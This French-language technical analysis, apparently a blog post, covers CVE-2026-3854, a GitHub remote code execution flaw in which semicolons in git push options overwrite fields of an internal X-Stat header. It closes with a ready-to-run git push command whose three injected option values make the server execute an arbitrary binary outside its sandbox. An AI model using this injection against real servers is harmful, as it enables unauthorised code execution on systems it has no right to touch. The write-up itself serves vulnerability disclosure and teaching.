
Analyse technique de CVE-2026-3854, une RCE GitHub via injection d'en-tête dans git push, expliquant la vulnérabilité, la technique d'exploitation et l'atténuation.
Résumé pratique du fonctionnement de la vulnérabilité découverte par Wiz Research dans le pipeline interne de git push de GitHub.com et GitHub Enterprise Server.
Ce matériel est destiné à des fins éducatives et de recherche en sécurité offensive. La vulnérabilité a déjà été corrigée par GitHub dans toutes les versions prises en charge. N'essayez pas de la reproduire contre des environnements qui ne vous appartiennent pas ou pour lesquels vous n'avez pas d'autorisation explicite par écrit pour tester. L'accès non autorisé à des systèmes est un crime au Brésil (Loi 12.737/2012, connue sous le nom de Loi Carolina Dieckmann) et peut constituer une invasion de dispositif informatique passible de détention.
Un attaquant authentifié peut obtenir une RCE sur GitHub en envoyant ; dans git push -o. Le babeld (proxy interne de GitHub, point d'entrée de tout SSH) ne nettoie pas, et le ; casse l'en-tête interne X-Stat, écrasant les champs de sécurité auxquels gitrpcd fait aveuglément confiance. Avec 3 écrasements (, , ), le hook pre-receive concatène et exécute un binaire arbitraire du serveur en tant qu'utilisateur git.
rails_envcustom_hooks_dirrepo_pre_receive_hooks
En gros, nous arrivons à écrire dans l'en-tête X-Stat car il n'y a pas de nettoyage du ; dans le git push, et nous le faisons en pointant vers un chemin du serveur cible, par exemple /bin, et ensuite nous pouvons concaténer avec un autre « champ » de cet en-tête, le repo_pre_receive_hooks. Ainsi, si ce champ est whoami, dans la concaténation cela donnera /bin/ + whoami et s'exécutera directement sur le serveur.
Sauf que par défaut dans le X-Stat, tous ces champs sont déjà préremplis par le babeld, car le RPC (gitrpcd) lui fait aveuglément confiance pour les lire, croyant que l'utilisateur ne peut pas les modifier :
Voici un exemple de la façon dont le babeld remplit les champs dans le X-Stat :
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
Sauf qu'à cause du fait qu'il ne nettoie pas le ; pendant le git push, vous pouvez écrire directement dedans, et pour couronner le tout, c'est last-write-wins, la dernière écriture est celle qui compte. Donc si je fais :
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
Les champs écrasés deviennent :
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(Ce n'est pas aussi simple que dans l'exemple ci-dessus où on met juste whoami. En réalité, c'est un JSON, donc cela ressemblerait plus à [{"script":"whoami"}].)
Et là, dans une version vulnérable, il exécutera le binaire whoami sur le serveur.
Mais cela seul ne s'exécutera encore que dans le sandbox. C'est pourquoi il est important de modifier un paramètre supplémentaire dans l'en-tête X-Stat, le rails_env=production. Il doit être n'importe quoi d'autre que production.
Enfin, le script malveillant ressemblerait à ceci :
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"